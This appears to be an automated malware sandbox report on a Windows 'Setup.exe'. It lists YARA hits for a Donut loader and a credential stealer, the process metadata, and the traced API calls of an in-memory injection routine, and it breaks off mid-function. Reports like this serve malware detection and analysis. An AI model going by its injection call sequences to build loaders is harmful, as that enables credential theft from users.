d8kNplyW4Pcl4wT2MsiWh+SOr02nhP6jCwtw0WDmiIU7XLoUe8TDVQNkQ7E1+zNFEUxZq/CSbEQ9jYfUohG+w03+mvEZVBfwE2HjsbWKtEXC6e1uBKY8hVko08ayITqiaXqvgNvRp/AWRsYD8D4gQXOImVrh0/g0WAmX5+YRjUfNz+rjqqAn8tMlQ9PF/hCVA8koD4VG2MRJKNPzosDapphO2H
2024-12-22 22:32:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	17:32:00
Start date:	22/12/2024
Path:	C:\Users\user\Desktop\Setup.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Setup.exe"
Imagebase:	0xb60000
File size:	76'868'306 bytes
MD5 hash:	1BB77FC90FBA4C11EB12606D8721FE21
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Donutloader_f40e3759, Description: unknown, Source: 00000000.00000002.2532076125.0000000001460000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2362706231.000000000158F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.2362505878.0000000001578000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	1.8%
Dynamic/Decrypted Code Coverage:	14.8%
Signature Coverage:	6.7%
Total number of Nodes:	629
Total number of Limit Nodes:	25

Executed Functions

Function 014AC059 Relevance: 12.7, APIs: 8, Instructions: 730memorynativethreadCOMMON

Download Yara Rule

APIs

NtCreateSection.NTDLL(?,000F001F,00000000,?,00000040,08000000,00000000,00000000), ref: 014AC0F2
NtMapViewOfSection.NTDLL(?,00000000), ref: 014AC19A
VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 014AC50E
NtMapViewOfSection.NTDLL(?,00000000,?,?,?,?,?,?), ref: 014AC5C3
VirtualProtect.KERNEL32(?,?,00000008,?,?,?,?,?,?,?), ref: 014AC5E0
VirtualProtect.KERNEL32(?,?,?,00000000), ref: 014AC683
VirtualProtect.KERNEL32(?,?,00000002,?,?,?,?,?,?,?), ref: 014AC6B6
CreateThread.KERNEL32(00000000,00000000,?,00000000,00000000,00000000,?,?,?,?,?,?), ref: 014AC827

Memory Dump Source

Source File: 00000000.00000002.2532076125.0000000001460000.00000040.00001000.00020000.00000000.sdmp, Offset: 01460000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1460000_Setup.jbxd

Yara matches

Similarity

API ID: Virtual$ProtectSection$CreateView$AllocThread
String ID:
API String ID: 1248616170-0
Opcode ID: ff471fed8362e1f6680916959444b0539dd2ef4160a15e649cb06b76fd5f0269
Instruction ID: 84a7f4ef8e1040e74b5cf3b350c00413e91bd6da0d83fd825e06ce6bdeda83b9
Opcode Fuzzy Hash: ff471fed8362e1f6680916959444b0539dd2ef4160a15e649cb06b76fd5f0269
Instruction Fuzzy Hash: ED42CF71608301AFE764CF18C884B6BBBE8FF98714F45492EF9859B261D770E941CB91

Function 014609A9 Relevance: 7.6, APIs: 5, Instructions: 100
threadprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32(00000004,00000000,?,?,?,?,?,014604EF,?,00000001,?,81EC8B55,000000FF), ref: 014609E7
Thread32First.KERNEL32(00000000,0000001C), ref: 01460A13
Wow64SuspendThread.KERNEL32(00000000), ref: 01460A66
CloseHandle.KERNEL32(00000000), ref: 01460A90
CloseHandle.KERNEL32(00000000), ref: 01460AC4

Memory Dump Source

Source File: 00000000.00000002.2532076125.0000000001460000.00000040.00001000.00020000.00000000.sdmp, Offset: 01460000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1460000_Setup.jbxd

Yara matches

Similarity

API ID: CloseHandle$CreateFirstSnapshotSuspendThreadThread32Toolhelp32Wow64
String ID:
API String ID: 2720937676-0
Opcode ID: ed4f7e93d5c748d87e273fbd072de27cfcb41b6612c19f34ce8dd7f2a24eca5e
Instruction ID: 1bd339f9ac281027f216b49f1e5d00b0fcd2ad437730b2eec35df678411b6697
Opcode Fuzzy Hash: ed4f7e93d5c748d87e273fbd072de27cfcb41b6612c19f34ce8dd7f2a24eca5e
Instruction Fuzzy Hash: 5B411E75700109AFDB18DF98C490BAEB7B6EF88340F10C169E6159B7A4DA34AE41CB54

Function 00BE7B56 Relevance: 6.1, APIs: 3, Instructions: 1610
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(?,?,-00000002F0EF8A5D,-C6790733,?,00BE6A7E,00000000,0000000A,0000000A,0000000A,00000000,00000004,00C6EF61,00000004,00C7638D,00000000), ref: 00BE8034
GetProcAddress.KERNEL32(00000000), ref: 00BE89F5
VirtualAlloc.KERNEL32(2B8B72D6,0004D3E8,802DDE06,-7B18A2B8,?,?,?,?,?), ref: 00BE90FB

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: AddressAllocLibraryLoadProcVirtual
String ID:
API String ID: 4074058790-0
Opcode ID: c6f20f0f4de9d7a41b319d98cb0ea28b70f35b14616d511dc7bbb98b62f1473a
Instruction ID: d7e0592e8c613777bb1fca8e249f9f257fc2ace2283ce7a4feb02d393eaa13a9
Opcode Fuzzy Hash: c6f20f0f4de9d7a41b319d98cb0ea28b70f35b14616d511dc7bbb98b62f1473a
Instruction Fuzzy Hash: D0C203779143248FD768EF79EC9646A37B2FBA03043428A3ED842C7376CB3455039AA5

Function 00BE7E9B Relevance: 5.9, APIs: 3, Instructions: 1396
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(?,?,-00000002F0EF8A5D,-C6790733,?,00BE6A7E,00000000,0000000A,0000000A,0000000A,00000000,00000004,00C6EF61,00000004,00C7638D,00000000), ref: 00BE8034
GetProcAddress.KERNEL32(00000000), ref: 00BE89F5
VirtualAlloc.KERNEL32(2B8B72D6,0004D3E8,802DDE06,-7B18A2B8,?,?,?,?,?), ref: 00BE90FB

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: AddressAllocLibraryLoadProcVirtual
String ID:
API String ID: 4074058790-0
Opcode ID: d4879974b214e867540e7ec779e23bed9a7543b8258bc16bf0f764e108c49862
Instruction ID: 7bf185d4c6186e53ab6d2860ee08eea07ac0b75a7877f838f2dd38994f22a48a
Opcode Fuzzy Hash: d4879974b214e867540e7ec779e23bed9a7543b8258bc16bf0f764e108c49862
Instruction Fuzzy Hash: 03A203779143248FD728EF79EC9616A37B2FBA03053428A3ED842C7376CB3455439AA5

Function 01460299 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 399
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNEL32(00000000,00000000,?,00000000,00000000,00000000,?,00000001,?,81EC8B55,000000FF), ref: 0146053C
TerminateProcess.KERNELBASE(000000FF,00000000), ref: 01460830

Strings

V?w\, xrefs: 01460319

Memory Dump Source

Source File: 00000000.00000002.2532076125.0000000001460000.00000040.00001000.00020000.00000000.sdmp, Offset: 01460000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1460000_Setup.jbxd

Yara matches

Similarity

API ID: CreateProcessTerminateThread
String ID: V?w\
API String ID: 1197810419-3803635489
Opcode ID: 29a210a9db20772808d809aa8491c24ddfd30ffa28bed1a85d0694df4de48e94
Instruction ID: 8e239cc55b4204f376480c4c5e7e139ea0009e6f1e88435bcae9293a61ddb43a
Opcode Fuzzy Hash: 29a210a9db20772808d809aa8491c24ddfd30ffa28bed1a85d0694df4de48e94
Instruction Fuzzy Hash: B612E5B0E00219DFDB14CF98C990BADBBB5FF88308F2481AAE515AB395D7346A41CF55

Function 00BE813E Relevance: 4.2, APIs: 2, Instructions: 1218
librarymemoryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(00000000), ref: 00BE89F5
VirtualAlloc.KERNEL32(2B8B72D6,0004D3E8,802DDE06,-7B18A2B8,?,?,?,?,?), ref: 00BE90FB

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: AddressAllocProcVirtual
String ID:
API String ID: 2770133467-0
Opcode ID: c940ebf9723e37a728a699319a4790c99cd05f5a19b2acd256320c59146b724c
Instruction ID: 1d35beabde9a53f364fea6acaa2fb0b5be86d4434b87cfb84f64c2e455784c9d
Opcode Fuzzy Hash: c940ebf9723e37a728a699319a4790c99cd05f5a19b2acd256320c59146b724c
Instruction Fuzzy Hash: 809201779143248FD728EF79EC9616A37B2FBA03053428A3EE842C7375CB3455439AA5

Function 01460859 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 103
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNEL32(00000000,00000000,?,00000000,00000000,00000000), ref: 01460925

Strings

,, xrefs: 01460971

Memory Dump Source

Source File: 00000000.00000002.2532076125.0000000001460000.00000040.00001000.00020000.00000000.sdmp, Offset: 01460000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1460000_Setup.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID: ,
API String ID: 2422867632-3772416878
Opcode ID: fc60953fbf7661c618888493d7684cefa6d88d8934743e077e5b29c3addb46ae
Instruction ID: 5faa6b8c86b211fc482b9bf2832e2de6c796b8e0c320444fe5a751f63e021f77
Opcode Fuzzy Hash: fc60953fbf7661c618888493d7684cefa6d88d8934743e077e5b29c3addb46ae
Instruction Fuzzy Hash: 8241E874A00209EFDB04CF98C994BAEBBB6FF48314F208199E5156B391C371AE85CF95

Function 00B88C49 Relevance: 70.4, APIs: 35, Strings: 5, Instructions: 373
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3_GS.LIBCMT ref: 00B88C53

Part of subcall function 00B6BE04: __EH_prolog3.LIBCMT ref: 00B6BE0B
Part of subcall function 00B6BE04: GetWindowDC.USER32(00000000,00000004,00B7D19D,?,?), ref: 00B6BE37

GetDeviceCaps.GDI32(?,00000058), ref: 00B88C73
DeleteObject.GDI32(00000000), ref: 00B88CDD
DeleteObject.GDI32(00000000), ref: 00B88CFB
DeleteObject.GDI32(00000000), ref: 00B88D19
DeleteObject.GDI32(00000000), ref: 00B88D37
DeleteObject.GDI32(00000000), ref: 00B88D55
DeleteObject.GDI32(00000000), ref: 00B88D73
DeleteObject.GDI32(00000000), ref: 00B88D91
DeleteObject.GDI32(00000000), ref: 00B88DAF
DeleteObject.GDI32(00000000), ref: 00B88DCD
DeleteObject.GDI32(00000000), ref: 00B88DEB
GetTextCharsetInfo.GDI32(?,00000000,00000000), ref: 00B88E23
lstrcpyW.KERNEL32(?,?), ref: 00B88E73
EnumFontFamiliesW.GDI32(?,00000000,00B88530,Segoe UI), ref: 00B88E9A
lstrcpyW.KERNEL32(?,Segoe UI), ref: 00B88EAD
EnumFontFamiliesW.GDI32(?,00000000,00B88530,Tahoma), ref: 00B88ECB
lstrcpyW.KERNEL32(?,MS Sans Serif), ref: 00B88EE5
CreateFontIndirectW.GDI32(?), ref: 00B88EEF
CreateFontIndirectW.GDI32(?), ref: 00B88F40
CreateFontIndirectW.GDI32(?), ref: 00B88F7F
CreateFontIndirectW.GDI32(?), ref: 00B88FAB
CreateFontIndirectW.GDI32(?), ref: 00B88FCC
GetSystemMetrics.USER32(00000048), ref: 00B88FEB
lstrcpyW.KERNEL32(?,Marlett), ref: 00B88FFE
CreateFontIndirectW.GDI32(?), ref: 00B89008
GetStockObject.GDI32(00000011), ref: 00B89034
GetObjectW.GDI32(00000000,0000005C,?), ref: 00B8904B
lstrcpyW.KERNEL32(?,Arial,?,?,00000000), ref: 00B89088
CreateFontIndirectW.GDI32(?), ref: 00B89092
CreateFontIndirectW.GDI32(?), ref: 00B890AB
GetStockObject.GDI32(00000011), ref: 00B890BF
GetObjectW.GDI32(?,0000005C,?), ref: 00B890D4
CreateFontIndirectW.GDI32(?), ref: 00B890E2
CreateFontIndirectW.GDI32(?), ref: 00B89103

Part of subcall function 00B8959F: __EH_prolog3_GS.LIBCMT ref: 00B895A6
Part of subcall function 00B8959F: GetTextMetricsW.GDI32(?,?), ref: 00B895DB
Part of subcall function 00B8959F: GetTextMetricsW.GDI32(?,?), ref: 00B8961C

Part of subcall function 00B68B3E: __CxxThrowException@8.LIBVCRUNTIME ref: 00B68B52

Strings

Tahoma, xrefs: 00B88EB9, 00B88ED8
Marlett, xrefs: 00B88FF8
Arial, xrefs: 00B89078
MS Sans Serif, xrefs: 00B88EDF
Segoe UI, xrefs: 00B88E88, 00B88EA4

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Object$Font$CreateDeleteIndirect$lstrcpy$MetricsText$EnumFamiliesH_prolog3_Stock$CapsCharsetDeviceException@8H_prolog3InfoSystemThrowWindow
String ID: Arial$MS Sans Serif$Marlett$Segoe UI$Tahoma
API String ID: 3209990573-1395034203
Opcode ID: e2472834843af19eaa0c9cfba6e65a6074eb38dd9801eab603ad916de00b4119
Instruction ID: 0b96659c3cb4863fed7173d3d3b9e0793cdd63809d365fd275e97d92b5159698
Opcode Fuzzy Hash: e2472834843af19eaa0c9cfba6e65a6074eb38dd9801eab603ad916de00b4119
Instruction Fuzzy Hash: A8E15F71A01349DFDF11AFA0CC49BEEBBF8AF15305F0444AAA15AA72A1DF749A44CF11

Function 00B89183 Relevance: 64.8, APIs: 43, Instructions: 295
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3.LIBCMT ref: 00B8918A
GetSysColor.USER32(00000016), ref: 00B89193
GetSysColor.USER32(0000000F), ref: 00B891A6
GetSysColor.USER32(00000015), ref: 00B891BD
GetSysColor.USER32(0000000F), ref: 00B891C9
GetDeviceCaps.GDI32(?,0000000C), ref: 00B891F1
GetSysColor.USER32(0000000F), ref: 00B891FF
GetSysColor.USER32(00000010), ref: 00B8920D
GetSysColor.USER32(00000015), ref: 00B8921B
GetSysColor.USER32(00000016), ref: 00B89229
GetSysColor.USER32(00000014), ref: 00B89237
GetSysColor.USER32(00000012), ref: 00B89245
GetSysColor.USER32(00000011), ref: 00B89253
GetSysColor.USER32(00000006), ref: 00B8925E
GetSysColor.USER32(0000000D), ref: 00B89269
GetSysColor.USER32(0000000E), ref: 00B89274
GetSysColor.USER32(00000005), ref: 00B8927F
GetSysColor.USER32(00000008), ref: 00B8928D
GetSysColor.USER32(00000009), ref: 00B89298
GetSysColor.USER32(00000007), ref: 00B892A3
GetSysColor.USER32(00000002), ref: 00B892AE
GetSysColor.USER32(00000003), ref: 00B892B9
GetSysColor.USER32(0000001B), ref: 00B892C7
GetSysColor.USER32(0000001C), ref: 00B892D5
GetSysColor.USER32(0000000A), ref: 00B892E3
GetSysColor.USER32(0000000B), ref: 00B892F1
GetSysColor.USER32(00000013), ref: 00B892FF
GetSysColor.USER32(0000001A), ref: 00B89320
GetSysColorBrush.USER32(00000010), ref: 00B89339
GetSysColorBrush.USER32(00000014), ref: 00B8934C
GetSysColorBrush.USER32(00000005), ref: 00B8935F
CreateSolidBrush.GDI32(00B9D043), ref: 00B89380
CreateSolidBrush.GDI32(?), ref: 00B8939E
CreateSolidBrush.GDI32(00000006), ref: 00B893BC
CreateSolidBrush.GDI32(?), ref: 00B893DD
CreateSolidBrush.GDI32(?), ref: 00B893FB
CreateSolidBrush.GDI32(?), ref: 00B89419
CreateSolidBrush.GDI32(?), ref: 00B89437
CreatePen.GDI32(00000000,00000001,00000000), ref: 00B8945B
CreatePen.GDI32(00000000,00000001,00000000), ref: 00B8947F
CreatePen.GDI32(00000000,00000001,00000000), ref: 00B894A3
CreateSolidBrush.GDI32(?), ref: 00B89521
CreatePatternBrush.GDI32(00000000), ref: 00B8955F

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Color$BrushCreate$Solid$CapsDeviceH_prolog3Pattern
String ID:
API String ID: 3832706086-0
Opcode ID: 4dd9182c6b49bc953ccbda729bece9f2eaf3782313474a24d64c3a32b2d66e7a
Instruction ID: b15f035c592550f0df8a2dd4f58e41741c4c3f1176a1d2b7779676636d1bd14b
Opcode Fuzzy Hash: 4dd9182c6b49bc953ccbda729bece9f2eaf3782313474a24d64c3a32b2d66e7a
Instruction Fuzzy Hash: 15C17FB1A01782BFDB05AF749C097ACBFA0BF08701F04416AF646D76A1DB78E611DB91

Function 00B769BA Relevance: 15.1, APIs: 10, Instructions: 111
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

EnterCriticalSection.KERNEL32(00D2C7E4,?,?,00000000), ref: 00B769CF
GlobalAlloc.KERNEL32(00000002,00000000,?,?,00000000), ref: 00B76A2A
GlobalHandle.KERNEL32(00D2C7D8), ref: 00B76A34
GlobalUnlock.KERNEL32(00000000), ref: 00B76A3D
GlobalReAlloc.KERNEL32(00000000,00000000,00002002), ref: 00B76A57
GlobalLock.KERNEL32(00000000), ref: 00B76A62
LeaveCriticalSection.KERNEL32(?,?,?,00000000), ref: 00B76AAC
GlobalHandle.KERNEL32(00D2C7D8), ref: 00B76AC0
GlobalLock.KERNEL32(00000000), ref: 00B76AC7
LeaveCriticalSection.KERNEL32(?,?,?,00000000), ref: 00B76AD1

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: Global$CriticalSection$AllocHandleLeaveLock$EnterUnlock
String ID:
API String ID: 2667261700-0
Opcode ID: 709bc76528e6633879c3c8ab5649e85bd3cc78a81adaf12354e3dfc10dd27e5e
Instruction ID: c881768106768a1378b09086b568b04248c6e5ccadd1e3413b8509c1a5afed04
Opcode Fuzzy Hash: 709bc76528e6633879c3c8ab5649e85bd3cc78a81adaf12354e3dfc10dd27e5e
Instruction Fuzzy Hash: E641AE31500745AFD724DF64D889B6D7BF9EF84300F14C4AAE45AEB2A0DB74AE05CB51

Function 00B86133 Relevance: 12.0, APIs: 8, Instructions: 34
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserCallbackDispatcher.NTDLL(0000000B), ref: 00B86139
GetSystemMetrics.USER32(0000000C), ref: 00B86144
GetSystemMetrics.USER32(00000002), ref: 00B8614F
GetSystemMetrics.USER32(00000003), ref: 00B8615D
GetDC.USER32(00000000), ref: 00B8616B
GetDeviceCaps.GDI32(00000000,00000058), ref: 00B86176
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00B86182
ReleaseDC.USER32(00000000,00000000), ref: 00B8618E

Memory Dump Source

Source File: 00000000.00000002.2531129829.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.2531075413.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531231833.0000000000CD3000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531301059.0000000000D25000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531363426.0000000000D27000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531380337.0000000000D2E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D41000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D43000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2531468440.0000000000D5D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_Setup.jbxd

Similarity

API ID: MetricsSystem$CapsDevice$CallbackDispatcherReleaseUser
String ID:
API String ID: 1031845853-0
Opcode ID: 72e87a1be705b006dcd0166efbd77d97923d7ed0d64d612d9087cc29cb7bb63e
Instruction ID: a636b98a7b6585b8f3773460482bdcead7e5109108ddb42b2a3775f9457a549c
Opcode Fuzzy Hash: 72e87a1be705b006dcd0166efbd77d97923d7ed0d64d612d9087cc29cb7bb63e
Instruction Fuzzy Hash: 2FF012B1A42B80BFE7105FB1AC4DB8E7FA4FB45712F014516F211CA290DB7585868F91

Function 00BE5359 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 38
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3.LIBCMT ref: 00BE5360

